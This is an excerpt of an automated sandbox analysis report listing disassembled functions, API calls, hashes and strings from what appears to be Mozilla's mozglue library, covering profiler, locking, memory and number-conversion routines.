Associated: 00000001.00000002.2757927533.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757954028.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: _getpidstrlenstrncmptolower
String ID: pid:
API String ID: 1720406129-3403741246
Opcode ID: d02b22acb0bc9cdb789ad10cc11b9f0c9a6c4aa96de36fec541bba084984be0b
Instruction ID: 7d39cca18616ff65ba02868df991634079e195447791591a041a36154c5c891f
Opcode Fuzzy Hash: d02b22acb0bc9cdb789ad10cc11b9f0c9a6c4aa96de36fec541bba084984be0b
Instruction Fuzzy Hash: A3312131A0120CDFDB00DFE9D880AEEB7B9FF05318F540529D90167A81D732E88ACBA1

Function 6C99E550 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C99E577
AcquireSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99E584
ReleaseSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99E5DE
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C99E8A6

Strings

MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C99E655
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C99E777
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C99E826, 6C99E850
MOZ_PROFILER_STARTUP, xrefs: 6C99E5A1, 6C99E5CC, 6C99E5FF, 6C99E62A
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C99E722, 6C99E750, 6C99E7A2

Memory Dump Source

Source File: 00000001.00000002.2757838612.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2757799848.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757899724.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757927533.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757954028.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadXbad_function_call@std@@
String ID: MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL
API String ID: 1483687287-53385798
Opcode ID: cff65f50e53103f362ce9ba93de695206569c6997d784dd6d3388b9ab68587f9
Instruction ID: 8ce947244d5cbc10c64b9c5882184560a2a2ae75396da08a335d8b8f0829866d
Opcode Fuzzy Hash: cff65f50e53103f362ce9ba93de695206569c6997d784dd6d3388b9ab68587f9
Instruction Fuzzy Hash: E211A131608B54DFCB009F15C849B59BBB8FB8932DF254519E94567A50C770F884CBD1

Function 6C9A0C90 Relevance: 6.3, APIs: 5, Instructions: 99stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C9A0CD5

Part of subcall function 6C98F960: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C98F9A7

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C9A0D40
free.MOZGLUE ref: 6C9A0DCB

Part of subcall function 6C975E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C975EDB
Part of subcall function 6C975E90: memset.VCRUNTIME140(6C9B7765,000000E5,55CCCCCC), ref: 6C975F27
Part of subcall function 6C975E90: LeaveCriticalSection.KERNEL32(?), ref: 6C975FB2

free.MOZGLUE ref: 6C9A0DDD
free.MOZGLUE ref: 6C9A0DF2

Memory Dump Source

Source File: 00000001.00000002.2757838612.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2757799848.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757899724.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757927533.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757954028.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: free$CriticalSectionstrlen$EnterImpl@detail@mozilla@@LeaveMutexmemset
String ID:
API String ID: 4069420150-0
Opcode ID: 0d978a4cfd0547df25233c8c2ea475f30d0db58acc2b2a11a62c3ee0755f98d6
Instruction ID: 8b6228db4b23bef3e1e6a4d1db5b717f2f806b281f9c4a3e2c91d2a6705c6c9f
Opcode Fuzzy Hash: 0d978a4cfd0547df25233c8c2ea475f30d0db58acc2b2a11a62c3ee0755f98d6
Instruction Fuzzy Hash: 8A413572A097809BD320CF29C08039EFBE5BF98614F119A2EE8D987B50D770E445CB82

Function 6C990800 Relevance: 6.3, APIs: 5, Instructions: 71COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9DE7DC), ref: 6C990838
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C99084C
EnterCriticalSection.KERNEL32(?), ref: 6C9908AF
LeaveCriticalSection.KERNEL32(?), ref: 6C9908BD
LeaveCriticalSection.KERNEL32(6C9DE7DC), ref: 6C9908D5

Memory Dump Source

Source File: 00000001.00000002.2757838612.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2757799848.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757899724.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757927533.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757954028.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset
String ID:
API String ID: 837921583-0
Opcode ID: 847f76282d066539a08ffb6f0fd6e8202346187db3a98a0fe5eb6cef1808141d
Instruction ID: 5d66724608351e1b8e152e020084574ade333fcedd537deb69491c5a7c919f5d
Opcode Fuzzy Hash: 847f76282d066539a08ffb6f0fd6e8202346187db3a98a0fe5eb6cef1808141d
Instruction Fuzzy Hash: EB21B331B0564A9BEB048F66D844BAEB779AF49708F680568D519B7A40DB32E844CBD0

Function 6C9ACCF0 Relevance: 6.3, APIs: 4, Instructions: 299COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(000000E0,00000000,?,6C99DA31,00100000,?,?,00000000,?), ref: 6C9ACDA4

Part of subcall function 6C96CA10: malloc.MOZGLUE(?), ref: 6C96CA26

Part of subcall function 6C9AD130: InitializeConditionVariable.KERNEL32(00000010,00020000,00000000,00100000,?,6C9ACDBA,00100000,?,00000000,?,6C99DA31,00100000,?,?,00000000,?), ref: 6C9AD158
Part of subcall function 6C9AD130: InitializeConditionVariable.KERNEL32(00000098,?,6C9ACDBA,00100000,?,00000000,?,6C99DA31,00100000,?,?,00000000,?), ref: 6C9AD177

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE(?,?,00000000,?,6C99DA31,00100000,?,?,00000000,?), ref: 6C9ACDC4

Part of subcall function 6C9A7480: ReleaseSRWLockExclusive.KERNEL32(?,6C9B15FC,?,?,?,?,6C9B15FC,?), ref: 6C9A74EB

moz_xmalloc.MOZGLUE(00000014,?,?,?,00000000,?,6C99DA31,00100000,?,?,00000000,?), ref: 6C9ACECC

Part of subcall function 6C96CA10: mozalloc_abort.MOZGLUE(?), ref: 6C96CAA2

Part of subcall function 6C99CB30: floor.API-MS-WIN-CRT-MATH-L1-1-0(?,?,00000000,?,6C9ACEEA,?,?,?,?,00000000,?,6C99DA31,00100000,?,?,00000000), ref: 6C99CB57
Part of subcall function 6C99CB30: _beginthreadex.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,00000000,6C99CBE0,00000000,00000000,00000000,?,?,?,?,00000000,?,6C9ACEEA,?,?), ref: 6C99CBAF

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,?,6C99DA31,00100000,?,?,00000000,?), ref: 6C9AD058

Memory Dump Source

Source File: 00000001.00000002.2757838612.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2757799848.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757899724.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757927533.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757954028.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: ConditionInitializeVariablemoz_xmalloc$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedExclusiveLockProfileRelease_beginthreadexfloormallocmozalloc_aborttolower
String ID:
API String ID: 861561044-0
Opcode ID: 21ab459e2694be5d92007f9fc188c5177eff413676b63e37775e5b056bf0d785
Instruction ID: e13b5ba873cb11a38f191cfca532ba899a9c01f1d82dbc39d27802f7eb277510
Opcode Fuzzy Hash: 21ab459e2694be5d92007f9fc188c5177eff413676b63e37775e5b056bf0d785
Instruction Fuzzy Hash: ECD16F71A04B56DFD708CF28C4807A9F7E1BF99308F05862DD8598B751EB31E9A5CB81

Function 6C961720 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6C9617B2
memset.VCRUNTIME140(?,00000000,?,?), ref: 6C9618EE
free.MOZGLUE(?), ref: 6C961911
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C96194C

Memory Dump Source

Source File: 00000001.00000002.2757838612.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2757799848.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757899724.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757927533.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757954028.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturnfreememcpymemset
String ID:
API String ID: 3725304770-0
Opcode ID: 12d6be15841c6c0ece9b719a04f1b84cbad1ca020cf3b534e317b819b391aeff
Instruction ID: e1d8d6752d8c89da296225dcf8104f89744ad6ff8dd53e8bf47747fb72a66d02
Opcode Fuzzy Hash: 12d6be15841c6c0ece9b719a04f1b84cbad1ca020cf3b534e317b819b391aeff
Instruction Fuzzy Hash: A181E770A152059FDB08CF69D8D45BEBBB1FF8A310F04456DE811ABB90D730E854CBA2

Function 6C975C50 Relevance: 6.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 6C975D40
EnterCriticalSection.KERNEL32(6C9DF688), ref: 6C975D67
__aulldiv.LIBCMT ref: 6C975DB4
LeaveCriticalSection.KERNEL32(6C9DF688), ref: 6C975DED

Memory Dump Source

Source File: 00000001.00000002.2757838612.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2757799848.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757899724.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757927533.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757954028.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: CriticalSection$Count64EnterLeaveTick__aulldiv
String ID:
API String ID: 557828605-0
Opcode ID: 1848d507069d5ab967d3f2ef7fb882371dae29ac8d10ad724a742759ff74307b
Instruction ID: 1f87f39f8e3ef7c84aa57ec3eef4dbb2e3f64417e9166057b9da5a500d700b55
Opcode Fuzzy Hash: 1848d507069d5ab967d3f2ef7fb882371dae29ac8d10ad724a742759ff74307b
Instruction Fuzzy Hash: 77518D71E055198FCF08CF68C955BAEBBB1FB89308F298619D811B7B50C730B985CB90

Function 6C95CDF0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 128COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,-000000EA,?,?,?,?,?,?,?,?,?,?,?), ref: 6C95CEBD
memcpy.VCRUNTIME140(?,?,?,?,?,?,?), ref: 6C95CEF5
memset.VCRUNTIME140(-000000E5,00000030,?,?,?,?,?,?,?,?), ref: 6C95CF4E

Strings

0, xrefs: 6C95CF30

Memory Dump Source

Source File: 00000001.00000002.2757838612.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2757799848.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757899724.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757927533.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757954028.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: memcpy$memset
String ID: 0
API String ID: 438689982-4108050209
Opcode ID: 0e851ffa705033111940aa1c33e4e3d91d700d23ea7ee9f0b9783dfe3b6a0d03
Instruction ID: dc4f0ea235c2803fa0aad74319c0a12519226d35278ffde2eabba60f27fc35f0
Opcode Fuzzy Hash: 0e851ffa705033111940aa1c33e4e3d91d700d23ea7ee9f0b9783dfe3b6a0d03
Instruction Fuzzy Hash: CE510375A042568FCB00CF18C890A9ABBB5EF99300F19859DDC595F751D731ED16CBE0

Function 6C9B77D0 Relevance: 6.1, APIs: 4, Instructions: 113stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C9B77FA
?StringToDouble@StringToDoubleConverter@double_conversion@@QBENPBDHPAH@Z.MOZGLUE(00000001,00000000,?), ref: 6C9B7829

Part of subcall function 6C98CC38: GetCurrentProcess.KERNEL32(?,?,?,?,6C9531A7), ref: 6C98CC45
Part of subcall function 6C98CC38: TerminateProcess.KERNEL32(00000000,00000003,?,?,?,?,6C9531A7), ref: 6C98CC4E

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C9B789F
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C9B78CF

Part of subcall function 6C954DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C954E5A
Part of subcall function 6C954DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C954E97

Part of subcall function 6C954290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C993EBD,6C993EBD,00000000), ref: 6C9542A9

Memory Dump Source

Source File: 00000001.00000002.2757838612.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2757799848.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757899724.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757927533.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757954028.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$DtoaProcessstrlen$Ascii@Builder@2@Builder@2@@Converter@CreateCurrentDecimalDouble@EcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestTerminateV12@
String ID:
API String ID: 2525797420-0
Opcode ID: caf3e7704822f2addaf2677514d346225285f95a206d5c06274acda0d33bd75b
Instruction ID: f052142582ff73968bc6d3a7b89b9dc90c6ff24a43dcf738ae1e8fc1bf822f00
Opcode Fuzzy Hash: caf3e7704822f2addaf2677514d346225285f95a206d5c06274acda0d33bd75b
Instruction Fuzzy Hash: 2241A171904B469BD300DF29C48056BFBF4FF9A254F604B2EE4A997680DB30E559CB92

Function 6C996470 Relevance: 6.1, APIs: 4, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000200,?,?,?,?,?,?,?,?,?,?,?,?,6C9982BC,?,?), ref: 6C99649B

Part of subcall function 6C96CA10: malloc.MOZGLUE(?), ref: 6C96CA26

memset.VCRUNTIME140(00000000,00000000,00000200,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C9964A9

Part of subcall function 6C98FA80: GetCurrentThreadId.KERNEL32 ref: 6C98FA8D
Part of subcall function 6C98FA80: AcquireSRWLockExclusive.KERNEL32(6C9DF448), ref: 6C98FA99

ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C99653F
free.MOZGLUE(?), ref: 6C99655A

Memory Dump Source

Source File: 00000001.00000002.2757838612.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2757799848.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757899724.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757927533.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757954028.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfreemallocmemsetmoz_xmalloc
String ID:
API String ID: 3596744550-0
Opcode ID: 78b174288c16fb3899ff68a040e3794a56d5920168d6b753a99ca4954e498543
Instruction ID: 5d1ed47b612aaa19d3445733a6fce65672bf1dbe08f0c3282fef5dc97e92502d
Opcode Fuzzy Hash: 78b174288c16fb3899ff68a040e3794a56d5920168d6b753a99ca4954e498543
Instruction Fuzzy Hash: 8B317EB5A08705AFD740CF14D880A9ABBF4BFA8314F10482EE85A97740DB30E919CB92

Function 6C98FF60 Relevance: 6.1, APIs: 4, Instructions: 83COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,80000001,80000000,?,6C9AD019,?,?,?,?,?,00000000,?,6C99DA31,00100000,?), ref: 6C98FFD3
memcpy.VCRUNTIME140(00000000,?,?,?,6C9AD019,?,?,?,?,?,00000000,?,6C99DA31,00100000,?,?), ref: 6C98FFF5
free.MOZGLUE(?,?,?,?,?,6C9AD019,?,?,?,?,?,00000000,?,6C99DA31,00100000,?), ref: 6C99001B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,6C9AD019,?,?,?,?,?,00000000,?,6C99DA31,00100000,?,?), ref: 6C99002A

Memory Dump Source

Source File: 00000001.00000002.2757838612.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2757799848.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757899724.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757927533.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757954028.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: memcpy$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 826125452-0
Opcode ID: d1e9a6697ef0f8e2fdef3903f4ecd0da94cf41952a868af1e85a09b52c30ccae
Instruction ID: f4e5e0f5c16f909b7cb312d189a806363e8cca5c1bbd63e2f55b1bae78501e82
Opcode Fuzzy Hash: d1e9a6697ef0f8e2fdef3903f4ecd0da94cf41952a868af1e85a09b52c30ccae
Instruction Fuzzy Hash: 092108B2B002155BC7089E7C9C948AFB7BAFB993283250738D425D7780EB30DD1186E1

Function 6C96B4E0 Relevance: 6.1, APIs: 4, Instructions: 54threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C96B4F5
AcquireSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C96B502
ReleaseSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C96B542
free.MOZGLUE(?), ref: 6C96B578

Memory Dump Source

Source File: 00000001.00000002.2757838612.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2757799848.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757899724.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757927533.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757954028.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: 413b91b72791cdf31f6e5a20aea3889f753af2122a8e2120a1d9d3bf3532e05d
Instruction ID: 0894c2c953dea2b7385df97e14bc304ed39d16faa6129f7da71c1011abd265c9
Opcode Fuzzy Hash: 413b91b72791cdf31f6e5a20aea3889f753af2122a8e2120a1d9d3bf3532e05d
Instruction Fuzzy Hash: 36118C31A08F45C7E7218F2AC8047A5B3B5FFA6319F24970AE84963E01FBB1F1C59691

Function 6C993DE0 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,6C95F20E,?), ref: 6C993DF5
fputs.API-MS-WIN-CRT-STDIO-L1-1-0(6C95F20E,00000000,?), ref: 6C993DFC
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C993E06
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,00000000), ref: 6C993E0E

Part of subcall function 6C98CC00: GetCurrentProcess.KERNEL32(?,?,6C9531A7), ref: 6C98CC0D
Part of subcall function 6C98CC00: TerminateProcess.KERNEL32(00000000,00000003,?,?,6C9531A7), ref: 6C98CC16

Memory Dump Source

Source File: 00000001.00000002.2757838612.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2757799848.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757899724.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757927533.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757954028.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: Process__acrt_iob_func$CurrentTerminatefputcfputs
String ID:
API String ID: 2787204188-0
Opcode ID: 1780f16c9e4972a978fc2bac2f17faf98be9e3e029178694cfe04844e1628a54
Instruction ID: 82f8c848c077912729aa79f4c00a0283270150cdbdaa2a7c1ece37f49bf143a2
Opcode Fuzzy Hash: 1780f16c9e4972a978fc2bac2f17faf98be9e3e029178694cfe04844e1628a54
Instruction Fuzzy Hash: 57F012716002087BDB00AB54DC81DAB376DEF56628F140420FD0957741D635FE6596F7

Function 6C9A20B0 Relevance: 6.0, APIs: 4, Instructions: 28threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C9A20B7
AcquireSRWLockExclusive.KERNEL32(00000000,?,6C98FBD1), ref: 6C9A20C0
ReleaseSRWLockExclusive.KERNEL32(00000000,?,6C98FBD1), ref: 6C9A20DA
free.MOZGLUE(00000000,?,6C98FBD1), ref: 6C9A20F1

Memory Dump Source

Source File: 00000001.00000002.2757838612.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2757799848.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757899724.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757927533.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757954028.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: 98e032636ff37c3595b6f6039d7dce6c37bc0714a5563ed82be1aebd06bb9ba7
Instruction ID: dffe14cf7f10b13ba22c6fcd429b6cdec438255aa13afdc113a47be198ebd7f5
Opcode Fuzzy Hash: 98e032636ff37c3595b6f6039d7dce6c37bc0714a5563ed82be1aebd06bb9ba7
Instruction Fuzzy Hash: 43E0E531608E259BC3209F26980854EB7F9EF96218B20022AE50AD3B00DB75F58686E6

Function 6C9A85B0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000028,?,?,?), ref: 6C9A85D3

Part of subcall function 6C96CA10: malloc.MOZGLUE(?), ref: 6C96CA26

?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,?), ref: 6C9A8725

Strings

map/set<T> too long, xrefs: 6C9A8720

Memory Dump Source

Source File: 00000001.00000002.2757838612.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2757799848.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757899724.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757927533.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757954028.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: Xlength_error@std@@mallocmoz_xmalloc
String ID: map/set<T> too long
API String ID: 3720097785-1285458680
Opcode ID: d388070a54c6fb628f315dcb6579e435a8d66e584e0028e601dd40f85569fcc6
Instruction ID: 78abb823d426034734ac82ea2d71a2a9e40651a0948d6a7529e1d0d1c1036994
Opcode Fuzzy Hash: d388070a54c6fb628f315dcb6579e435a8d66e584e0028e601dd40f85569fcc6
Instruction Fuzzy Hash: 3F518774A00685CFE709CF58C084B65BBF1BF59318F19C19AD8595BB62C334E846CF96

Function 6C95BD40 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(00000000,?,?,?,?), ref: 6C95BDEB
?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C95BE8F

Strings

0, xrefs: 6C95BE5B

Memory Dump Source

Source File: 00000001.00000002.2757838612.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2757799848.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757899724.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757927533.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757954028.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@Double$CreateDecimalHandleRepresentation@SpecialValues@
String ID: 0
API String ID: 2811501404-4108050209
Opcode ID: 3bb851d4a24a3c94b1b57a50d7ada213a41af0139628a2820582b090ee4dd058
Instruction ID: 224e669c214a6a55e36c1d0313d10456ede9b70068a574a7b6ec19c97907299e
